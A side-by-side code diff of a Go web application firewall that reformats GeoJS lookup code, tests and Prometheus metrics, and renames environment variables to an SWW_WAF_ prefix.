if err != nil { if err != nil {
g.metrics.GeoJSFailures.Inc() g.metrics.GeoJSFailures.Inc()
g.retryDelay = min( g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay),
max(retryDelayFactor*g.retryDelay, firstRetryDelay), maxRetryDelay)
maxRetryDelay,
)
g.retryAt = now.Add(g.retryDelay) g.retryAt = now.Add(g.retryDelay)
g.asking = false g.asking = false
@@ -492,12 +482,7 @@ func (g *GeoJS) request(
ctx, cancel := context.WithTimeout(ctx, g.timeout) ctx, cancel := context.WithTimeout(ctx, g.timeout)
defer cancel() defer cancel()
req, err := http.NewRequestWithContext( req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody)
ctx,
http.MethodGet,
g.url,
http.NoBody,
)
if err != nil { if err != nil {
return nil, fmt.Errorf("make the request to GeoJS: %w", err) return nil, fmt.Errorf("make the request to GeoJS: %w", err)
} }
@@ -529,8 +514,7 @@ func (g *GeoJS) request(
CountryCode string `json:"country_code"` CountryCode string `json:"country_code"`
} }
err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)). err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers)
Decode(&answers)
if err != nil { if err != nil {
return nil, fmt.Errorf("read GeoJS's answer: %w", err) return nil, fmt.Errorf("read GeoJS's answer: %w", err)
} }
+18 -78
View File
@@ -85,13 +85,8 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
began := time.Now() began := time.Now()
answer := g.LookUpWithoutWaiting(t.Context(), client) answer := g.LookUpWithoutWaiting(t.Context(), client)
if waited := time.Since(began); waited != 0 || if waited := time.Since(began); waited != 0 || answer != (lookup.Answer{}) {
answer != (lookup.Answer{}) { t.Errorf("got %+v after %s, want no answer at once", answer, waited)
t.Errorf(
"got %+v after %s, want no answer at once",
answer,
waited,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -105,11 +100,7 @@ func TestLookUpWithoutWaitingAsksGeoJSAndGoesOnAtOnce(t *testing.T) {
waitForCountry(t, g, clock, client, germany) waitForCountry(t, g, clock, client, germany)
if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany { if got := g.LookUpWithoutWaiting(t.Context(), client).Country; got != germany {
t.Errorf( t.Errorf("the kept answer gives the country %q, want %q", got, germany)
"the kept answer gives the country %q, want %q",
got,
germany,
)
} }
}) })
} }
@@ -129,9 +120,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
var earlier sync.WaitGroup var earlier sync.WaitGroup
earlier.Go( earlier.Go(func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) })
func() { g.LookUp(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) },
)
defer earlier.Wait() defer earlier.Wait()
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -163,9 +152,7 @@ func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) {
}) })
} }
func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt( func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -210,11 +197,7 @@ func TestRequestWaitsAsLongAsTheTimeoutSaysAndGeoJSIsAbandonedAfterIt(
synctest.Wait() synctest.Wait()
if waited != longerTimeout { if waited != longerTimeout {
t.Errorf( t.Errorf("waited %s for the answer, want %s", waited, longerTimeout)
"waited %s for the answer, want %s",
waited,
longerTimeout,
)
} }
wantFailures(t, m, 1) wantFailures(t, m, 1)
@@ -357,11 +340,7 @@ func TestWithoutWaitTheRequestGoesOnAtOnceAndTheAnswerIsGivenWhenItComes(
got := g.LookUp(t.Context(), client) got := g.LookUp(t.Context(), client)
if took := time.Since(began); took != 0 || got != (lookup.Answer{}) { if took := time.Since(began); took != 0 || got != (lookup.Answer{}) {
t.Errorf( t.Errorf("waited %s for %+v, want no wait and no answer", took, got)
"waited %s for %+v, want no wait and no answer",
took,
got,
)
} }
waitForRequests(t, geojs, 1) waitForRequests(t, geojs, 1)
@@ -412,10 +391,7 @@ func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, "asking GeoJS failed") || if !strings.Contains(logged, "asking GeoJS failed") ||
strings.Contains(logged, "203.0.113.9") { strings.Contains(logged, "203.0.113.9") {
t.Errorf( t.Errorf("logged %q, want the failure without the address asked about", logged)
"logged %q, want the failure without the address asked about",
logged,
)
} }
}) })
} }
@@ -454,10 +430,7 @@ func TestFailureRaisesASourceFailureAlertOncePerCooldown(t *testing.T) {
} }
if queue.Suppressed() != 1 { if queue.Suppressed() != 1 {
t.Errorf( t.Errorf("%d alerts held back, want the repeat", queue.Suppressed())
"%d alerts held back, want the repeat",
queue.Suppressed(),
)
} }
}) })
} }
@@ -481,21 +454,11 @@ func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) {
clock.advance(time.Second) clock.advance(time.Second)
wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany)
wantRequests(t, geojs, 2) wantRequests(t, geojs, 2)
wantAsked( wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3")
t,
geojs,
1,
"203.0.113.1",
"203.0.113.2",
"2001:db8:1:2::",
"203.0.113.3",
)
}) })
} }
func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff( func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
@@ -540,10 +503,7 @@ func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(
asked := waitForRequests(t, geojs, requests+1) asked := waitForRequests(t, geojs, requests+1)
if len(asked[requests]) != 23 { if len(asked[requests]) != 23 {
t.Errorf( t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests]))
"GeoJS was asked about %d clients, want 23",
len(asked[requests]),
)
} }
}) })
} }
@@ -571,11 +531,8 @@ func TestAtMost200AddressesInOneRequest(t *testing.T) {
asked := waitForRequests(t, geojs, 3) asked := waitForRequests(t, geojs, 3)
if len(asked[1]) != 200 || len(asked[2]) != 1 { if len(asked[1]) != 200 || len(asked[2]) != 1 {
t.Errorf( t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1",
"GeoJS was asked about %d and then %d clients, want 200 and 1", len(asked[1]), len(asked[2]))
len(asked[1]),
len(asked[2]),
)
} }
}) })
} }
@@ -730,11 +687,7 @@ func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) {
switch { switch {
case addr == unplaced: case addr == unplaced:
item = map[string]any{ item = map[string]any{"ip": addr, "asn": 64512, "organization_name": "Unknown"}
"ip": addr,
"asn": 64512,
"organization_name": "Unknown",
}
case addr == leftOut && answers == answeringWithoutLeftOut: case addr == leftOut && answers == answeringWithoutLeftOut:
continue continue
case answers == answeringInLowerCase: case answers == answeringInLowerCase:
@@ -851,12 +804,7 @@ func newClients() func() netip.Prefix {
} }
// wantCountry checks the country g gives client. // wantCountry checks the country g gives client.
func wantCountry( func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) {
t *testing.T,
g *lookup.GeoJS,
client netip.Prefix,
want string,
) {
t.Helper() t.Helper()
got := g.LookUp(t.Context(), client).Country got := g.LookUp(t.Context(), client).Country
@@ -895,11 +843,7 @@ func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) {
// wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having // wantRequestsWithoutGeoJSAnswer checks how many requests m counts as having
// gone without an answer from GeoJS. // gone without an answer from GeoJS.
func wantRequestsWithoutGeoJSAnswer( func wantRequestsWithoutGeoJSAnswer(t *testing.T, m *metrics.Metrics, want float64) {
t *testing.T,
m *metrics.Metrics,
want float64,
) {
t.Helper() t.Helper()
got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer) got := testutil.ToFloat64(m.RequestsWithoutGeoJSAnswer)
@@ -939,11 +883,7 @@ func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string {
// It then checks that client's next request does not wait but has it asked // It then checks that client's next request does not wait but has it asked
// about again in the background, after which g gives it the country want. // about again in the background, after which g gives it the country want.
func waitForCountry( func waitForCountry(
t *testing.T, t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string,
g *lookup.GeoJS,
clock *testClock,
client netip.Prefix,
want string,
) { ) {
t.Helper() t.Helper()
+1 -5
View File
@@ -45,11 +45,7 @@ func Write(tb testing.TB, path string, networks map[string]Network) {
// WriteRecords writes a lookup database at path that holds each record in // WriteRecords writes a lookup database at path that holds each record in
// records for its netblock, and nothing for any other address. // records for its netblock, and nothing for any other address.
func WriteRecords( func WriteRecords(tb testing.TB, path string, records map[string]mmdbtype.Map) {
tb testing.TB,
path string,
records map[string]mmdbtype.Map,
) {
tb.Helper() tb.Helper()
tree, err := mmdbwriter.New(mmdbwriter.Options{ tree, err := mmdbwriter.New(mmdbwriter.Options{
+1 -4
View File
@@ -59,10 +59,7 @@ func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) {
g.Load([]lookup.Answer{kept, stale}) g.Load([]lookup.Answer{kept, stale})
if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) {
t.Errorf( t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got)
"kept %+v, want only the answer GeoJS gave less than 7 days ago",
got,
)
} }
wantCountry(t, g, kept.Client, "FR") wantCountry(t, g, kept.Client, "FR")
+4 -10
View File
@@ -41,11 +41,9 @@ type busiest struct {
// for the topN busiest countries. // for the topN busiest countries.
func newCountries(topN int) *busiest { func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country") countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec( countries.refused = counterVec("sww_country_list_refusals_total",
"sww_country_list_refusals_total", "Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
"Requests SWW_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.", []string{"country"})
[]string{"country"},
)
return countries return countries
} }
@@ -92,11 +90,7 @@ func (b *busiest) Collect(ch chan<- prometheus.Metric) {
// vecs returns the metrics: by AS number, those of requests and bytes; by // vecs returns the metrics: by AS number, those of requests and bytes; by
// country, the refusals by the country list as well. // country, the refusals by the country list as well.
func (b *busiest) vecs() []*prometheus.CounterVec { func (b *busiest) vecs() []*prometheus.CounterVec {
vecs := []*prometheus.CounterVec{ vecs := []*prometheus.CounterVec{b.requests, b.requestBytes, b.responseBytes}
b.requests,
b.requestBytes,
b.responseBytes,
}
if b.refused != nil { if b.refused != nil {
vecs = append(vecs, b.refused) vecs = append(vecs, b.refused)
} }
+57 -119
View File
@@ -62,8 +62,8 @@ type Metrics struct {
// New returns the metrics, with the Go runtime's and the process's own. // New returns the metrics, with the Go runtime's and the process's own.
// topN is how many countries and how many AS numbers get series of their // topN is how many countries and how many AS numbers get series of their
// own (SWW_METRICS_TOP_N). Every metric carries instanceName // own (SWW_WAF_METRICS_TOP_N). Every metric carries instanceName
// (SWW_INSTANCE_NAME) as its label instance. // (SWW_WAF_INSTANCE_NAME) as its label instance.
// //
//nolint:funlen // a few lines for each metric, a list that grows with them //nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
@@ -79,19 +79,14 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_requests_in_flight", Name: "sww_requests_in_flight",
Help: "Requests under way.", Help: "Requests under way.",
}), }),
requests: counterVec( requests: counterVec("sww_requests_total",
"sww_requests_total", "Requests, by the class of their status and their action.", byStatus),
"Requests, by the class of their status and their action.",
byStatus,
),
requestBytes: counterVec("sww_request_bytes_total", requestBytes: counterVec("sww_request_bytes_total",
"Request body bytes, by the class of the status and the action.", "Request body bytes, by the class of the status and the action.",
byStatus), byStatus),
responseBytes: counterVec( responseBytes: counterVec("sww_response_bytes_total",
"sww_response_bytes_total",
"Response body bytes, by the class of the status and the action.", "Response body bytes, by the class of the status and the action.",
byStatus, byStatus),
),
requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{ requestDuration: prometheus.NewHistogram(prometheus.HistogramOpts{
Name: "sww_request_duration_seconds", Name: "sww_request_duration_seconds",
Help: "How long requests took, from their arrival to their end.", Help: "How long requests took, from their arrival to their end.",
@@ -100,20 +95,15 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_upstream_duration_seconds", Name: "sww_upstream_duration_seconds",
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec( rateLimitHits: counterVec("sww_rate_limit_hits_total",
"sww_rate_limit_hits_total",
"Requests that broke a rate limit, a byte limit or the error burst, by "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its window and its kind, requests, bytes or refusals.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}, []string{"window", "kind"}),
),
offences: counterVec("sww_offences_total", offences: counterVec("sww_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
coreRuleSetMatches: counterVec( coreRuleSetMatches: counterVec("sww_core_rule_set_matches_total",
"sww_core_rule_set_matches_total", "Requests that matched a rule of the Core Rule Set, by SWW_WAF_CORE_RULE_SET_MODE "+
"Requests that matched a rule of the Core Rule Set, by SWW_WAF_MODE "+ "and the rule's id.", []string{"mode", "rule_id"}),
"and the rule's id.",
[]string{"mode", "rule_id"},
),
countries: newCountries(topN), countries: newCountries(topN),
asns: newASNs(topN), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -124,41 +114,26 @@ func New(topN int, instanceName string) *Metrics {
Name: "sww_geojs_failures_total", Name: "sww_geojs_failures_total",
Help: "Requests to GeoJS that failed.", Help: "Requests to GeoJS that failed.",
}), }),
RequestsWithoutGeoJSAnswer: prometheus.NewCounter( RequestsWithoutGeoJSAnswer: prometheus.NewCounter(prometheus.CounterOpts{
prometheus.CounterOpts{ Name: "sww_requests_without_geojs_answer_total",
Name: "sww_requests_without_geojs_answer_total", Help: "Requests that needed their client's answer from GeoJS and " +
Help: "Requests that needed their client's answer from GeoJS and " + "went on without it, because GeoJS had not given it in time.",
"went on without it, because GeoJS had not given it in time.", }),
},
),
stateFileWrites: counterVec("sww_state_file_writes_total", stateFileWrites: counterVec("sww_state_file_writes_total",
"Writes of each state or cache file.", byFile), "Writes of each state or cache file.", byFile),
stateFileWriteFailures: counterVec( stateFileWriteFailures: counterVec("sww_state_file_write_failures_total",
"sww_state_file_write_failures_total", "Writes of each state or cache file that failed.", byFile),
"Writes of each state or cache file that failed.", stateFileLastWrite: gaugeVec("sww_state_file_last_write_timestamp_seconds",
byFile,
),
stateFileLastWrite: gaugeVec(
"sww_state_file_last_write_timestamp_seconds",
"When each state or cache file was last written, in seconds since 1970.", "When each state or cache file was last written, in seconds since 1970.",
byFile, byFile),
), stateFileSize: gaugeVec("sww_state_file_size_bytes",
stateFileSize: gaugeVec( "The size of each state or cache file, as it was last written.", byFile),
"sww_state_file_size_bytes", stateFileEditsTakenIn: counterVec("sww_state_file_edits_taken_in_total",
"The size of each state or cache file, as it was last written.", "Edits of each state or cache file taken in while running.", byFile),
byFile, stateFileEditsSetAside: counterVec("sww_state_file_edits_set_aside_total",
),
stateFileEditsTakenIn: counterVec(
"sww_state_file_edits_taken_in_total",
"Edits of each state or cache file taken in while running.",
byFile,
),
stateFileEditsSetAside: counterVec(
"sww_state_file_edits_set_aside_total",
"Edits of each state or cache file renamed to <name>.bad because they "+ "Edits of each state or cache file renamed to <name>.bad because they "+
"did not parse.", "did not parse.",
byFile, byFile),
),
} }
m.registry.MustRegister( m.registry.MustRegister(
@@ -187,15 +162,13 @@ func (m *Metrics) AddBansAndClients(
for _, cause := range []string{ for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} { } {
m.registry.MustRegister( m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "sww_bans_made_total",
Name: "sww_bans_made_total", Help: "Bans made, by cause.",
Help: "Bans made, by cause.", ConstLabels: prometheus.Labels{"cause": cause},
ConstLabels: prometheus.Labels{"cause": cause}, }, func() float64 {
}, func() float64 { return float64(ledger.Made(cause))
return float64(ledger.Made(cause)) }))
}),
)
} }
m.registry.MustRegister( m.registry.MustRegister(
@@ -229,11 +202,9 @@ func (m *Metrics) AddBansAndClients(
// ruleFiles, read as the metrics are asked for. It is called once, before // ruleFiles, read as the metrics are asked for. It is called once, before
// RuleMatched. // RuleMatched.
func (m *Metrics) AddRules(ruleFiles *rules.Files) { func (m *Metrics) AddRules(ruleFiles *rules.Files) {
m.ruleMatches = counterVec( m.ruleMatches = counterVec("sww_rule_matches_total",
"sww_rule_matches_total",
"Requests that matched a rule of the rule files, by its id and action.", "Requests that matched a rule of the rule files, by its id and action.",
[]string{"rule_id", "action"}, []string{"rule_id", "action"})
)
m.registry.MustRegister(m.ruleMatches, m.registry.MustRegister(m.ruleMatches,
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
@@ -245,13 +216,13 @@ func (m *Metrics) AddRules(ruleFiles *rules.Files) {
} }
// AddRemoteLog adds the metrics of sending the log lines to // AddRemoteLog adds the metrics of sending the log lines to
// SWW_LOG_REMOTE_URL, read from remote as the metrics are asked for: the // SWW_WAF_LOG_REMOTE_URL, read from remote as the metrics are asked for: the
// lines sent, those dropped, and those waiting in the buffer. // lines sent, those dropped, and those waiting in the buffer.
func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) { func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_remote_log_lines_sent_total", Name: "sww_remote_log_lines_sent_total",
Help: "Log lines sent to SWW_LOG_REMOTE_URL.", Help: "Log lines sent to SWW_WAF_LOG_REMOTE_URL.",
}, func() float64 { }, func() float64 {
return float64(remote.Sent()) return float64(remote.Sent())
}), }),
@@ -276,10 +247,7 @@ func (m *Metrics) AddRemoteLog(remote *remotelog.Sender) {
// returns, and the replacements of it that could not be read, which // returns, and the replacements of it that could not be read, which
// readFailures returns. The lookup package's File, which has both, cannot // readFailures returns. The lookup package's File, which has both, cannot
// be named here: that package counts GeoJS's requests in these metrics. // be named here: that package counts GeoJS's requests in these metrics.
func (m *Metrics) AddLookupFile( func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() int) {
lastRead func() time.Time,
readFailures func() int,
) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_lookup_database_last_read_timestamp_seconds", Name: "sww_lookup_database_last_read_timestamp_seconds",
@@ -308,38 +276,24 @@ const sourceLabel = "source"
// metrics are asked for, for a list, the fetches that failed and when the // metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that // copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit. // failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation( func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
lists *reputation.Lists, m.reputationHits = counterVec("sww_reputation_hits_total",
dnsbl *reputation.DNSBL,
) {
m.reputationHits = counterVec(
"sww_reputation_hits_total",
"Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}, []string{sourceLabel})
)
m.registry.MustRegister(m.reputationHits) m.registry.MustRegister(m.reputationHits)
for _, zone := range dnsbl.Zones() { for _, zone := range dnsbl.Zones() {
source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)} source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
m.addReputationQueries( m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
source, m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
func() int { return dnsbl.Queries(zone) },
)
m.addReputationFailures(
source,
func() int { return dnsbl.Failures(zone) },
)
} }
for _, listURL := range lists.URLs() { for _, listURL := range lists.URLs() {
source := prometheus.Labels{sourceLabel: listURL} source := prometheus.Labels{sourceLabel: listURL}
m.addReputationFailures( m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
source,
func() int { return lists.Failures(listURL) },
)
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_last_fetch_timestamp_seconds", Name: "sww_reputation_last_fetch_timestamp_seconds",
@@ -361,7 +315,7 @@ func (m *Metrics) AddReputation(
// AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb, // AddAbuseIPDB adds the metrics of AbuseIPDB, with the source abuseipdb,
// read from abuseIPDB as the metrics are asked for: the checks made, those // read from abuseIPDB as the metrics are asked for: the checks made, those
// that failed, and how many checks the day's budget has left. It is // that failed, and how many checks the day's budget has left. It is
// called once, after AddReputation, while SWW_ABUSEIPDB_KEY is set. // called once, after AddReputation, while SWW_WAF_ABUSEIPDB_KEY is set.
func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) { func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource} source := prometheus.Labels{sourceLabel: reputation.AbuseIPDBSource}
@@ -370,7 +324,7 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) {
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "sww_reputation_daily_budget_remaining", Name: "sww_reputation_daily_budget_remaining",
Help: "Checks of the day's SWW_ABUSEIPDB_DAILY_BUDGET not yet spent.", Help: "Checks of the day's SWW_WAF_ABUSEIPDB_DAILY_BUDGET not yet spent.",
ConstLabels: source, ConstLabels: source,
}, func() float64 { }, func() float64 {
return float64(abuseIPDB.BudgetLeft()) return float64(abuseIPDB.BudgetLeft())
@@ -411,8 +365,8 @@ func (m *Metrics) AddAlerts(queue *alerts.Queue) {
}), }),
prometheus.NewCounterFunc(prometheus.CounterOpts{ prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_alerts_suppressed_total", Name: "sww_alerts_suppressed_total",
Help: "Alerts held back: repeats within SWW_ALERT_COOLDOWN, and " + Help: "Alerts held back: repeats within SWW_WAF_ALERT_COOLDOWN, and " +
"alerts past SWW_ALERT_MAX_PER_HOUR, for the hour's summary.", "alerts past SWW_WAF_ALERT_MAX_PER_HOUR, for the hour's summary.",
ConstLabels: destination, ConstLabels: destination,
}, func() float64 { }, func() float64 {
return float64(queue.Suppressed()) return float64(queue.Suppressed())
@@ -441,10 +395,7 @@ func (m *Metrics) RequestStarted() {
// RequestEnded counts a request that has ended without being passed to the app, // RequestEnded counts a request that has ended without being passed to the app,
// from its log line. duration is how long the request took. // from its log line. duration is how long the request took.
func (m *Metrics) RequestEnded( func (m *Metrics) RequestEnded(line *requestlog.Line, duration time.Duration) {
line *requestlog.Line,
duration time.Duration,
) {
m.inFlight.Dec() m.inFlight.Dec()
m.count(line, duration, 0) m.count(line, duration, 0)
} }
@@ -493,7 +444,7 @@ func (m *Metrics) RuleMatched(id, action string) {
} }
// CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id, // CoreRuleSetMatched counts a request that matched the Core Rule Set's rule id,
// with SWW_WAF_MODE at mode. // with SWW_WAF_CORE_RULE_SET_MODE at mode.
func (m *Metrics) CoreRuleSetMatched(mode string, id int) { func (m *Metrics) CoreRuleSetMatched(mode string, id int) {
m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc() m.coreRuleSetMatches.WithLabelValues(mode, strconv.Itoa(id)).Inc()
} }
@@ -536,10 +487,8 @@ func (m *Metrics) count(
) { ) {
class := statusClass(line.Status) class := statusClass(line.Status)
m.requests.WithLabelValues(class, line.Action).Inc() m.requests.WithLabelValues(class, line.Action).Inc()
m.requestBytes.WithLabelValues(class, line.Action). m.requestBytes.WithLabelValues(class, line.Action).Add(float64(line.RequestBytes))
Add(float64(line.RequestBytes)) m.responseBytes.WithLabelValues(class, line.Action).Add(float64(line.ResponseBytes))
m.responseBytes.WithLabelValues(class, line.Action).
Add(float64(line.ResponseBytes))
m.requestDuration.Observe(duration.Seconds()) m.requestDuration.Observe(duration.Seconds())
if upstreamDuration > 0 { if upstreamDuration > 0 {
@@ -557,10 +506,7 @@ func (m *Metrics) count(
// addReputationQueries adds the counter of the queries to source, a DNSBL // addReputationQueries adds the counter of the queries to source, a DNSBL
// zone, or of the checks of clients with AbuseIPDB, which count tells. // zone, or of the checks of clients with AbuseIPDB, which count tells.
func (m *Metrics) addReputationQueries( func (m *Metrics) addReputationQueries(source prometheus.Labels, count func() int) {
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_queries_total", Name: "sww_reputation_queries_total",
Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.", Help: "Queries to the DNSBL zone, or checks of clients with AbuseIPDB.",
@@ -573,10 +519,7 @@ func (m *Metrics) addReputationQueries(
// addReputationFailures adds the counter of the fetches of source, a // addReputationFailures adds the counter of the fetches of source, a
// list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB, // list, the queries to it, a DNSBL zone, or the checks with it, AbuseIPDB,
// that failed, which count tells. // that failed, which count tells.
func (m *Metrics) addReputationFailures( func (m *Metrics) addReputationFailures(source prometheus.Labels, count func() int) {
source prometheus.Labels,
count func() int,
) {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "sww_reputation_failures_total", Name: "sww_reputation_failures_total",
Help: "Fetches of the list, queries to the DNSBL zone, or checks with " + Help: "Fetches of the list, queries to the DNSBL zone, or checks with " +
@@ -603,17 +546,12 @@ func statusClass(status int) string {
// counterVec returns a counter named name, described by help, with a // counterVec returns a counter named name, described by help, with a
// series for each set of values of labels. // series for each set of values of labels.
func counterVec(name, help string, labels []string) *prometheus.CounterVec { func counterVec(name, help string, labels []string) *prometheus.CounterVec {
return prometheus.NewCounterVec( return prometheus.NewCounterVec(prometheus.CounterOpts{Name: name, Help: help},
prometheus.CounterOpts{Name: name, Help: help}, labels)
labels,
)
} }
// gaugeVec returns a gauge named name, described by help, with a series // gaugeVec returns a gauge named name, described by help, with a series
// for each set of values of labels. // for each set of values of labels.
func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec { func gaugeVec(name, help string, labels []string) *prometheus.GaugeVec {
return prometheus.NewGaugeVec( return prometheus.NewGaugeVec(prometheus.GaugeOpts{Name: name, Help: help}, labels)
prometheus.GaugeOpts{Name: name, Help: help},
labels,
)
} }
+3 -17
View File
@@ -27,11 +27,7 @@ func TestHistoryKeepsEveryRequest(t *testing.T) {
// refused. // refused.
{Status: 404}, {Status: 404},
} { } {
limiter.AddToHistory( limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r)
client,
start.Add(time.Duration(i)*time.Minute),
r,
)
} }
want := ratelimit.History{ want := ratelimit.History{
@@ -67,13 +63,7 @@ func TestLookupReachesTheHistoryOfAClientInTheTable(t *testing.T) {
// A later answer replaces it, and one for a client the table does not // A later answer replaces it, and one for a client the table does not
// hold adds no client. // hold adds no client.
limiter.AddLookup( limiter.AddLookup(client, start.Add(time.Hour), "AS64497", "Other Net", "FR")
client,
start.Add(time.Hour),
"AS64497",
"Other Net",
"FR",
)
limiter.AddLookup(other, start, "AS64496", "Example Net", "DE") limiter.AddLookup(other, start, "AS64496", "Example Net", "DE")
want := ratelimit.History{ want := ratelimit.History{
@@ -106,11 +96,7 @@ func TestResetKeepsTheHistory(t *testing.T) {
for range limit { for range limit {
wantCount(t, limiter, client, start, "") wantCount(t, limiter, client, start, "")
limiter.AddToHistory( limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true})
client,
start,
ratelimit.Request{Forwarded: true},
)
} }
limiter.Reset(client) limiter.Reset(client)
+6 -22
View File
@@ -2,7 +2,7 @@
// and bytes counted over a minute, an hour and a day, as the "Counting // and bytes counted over a minute, an hour and a day, as the "Counting
// method" section of SPEC.md describes, which tell when a request takes // method" section of SPEC.md describes, which tell when a request takes
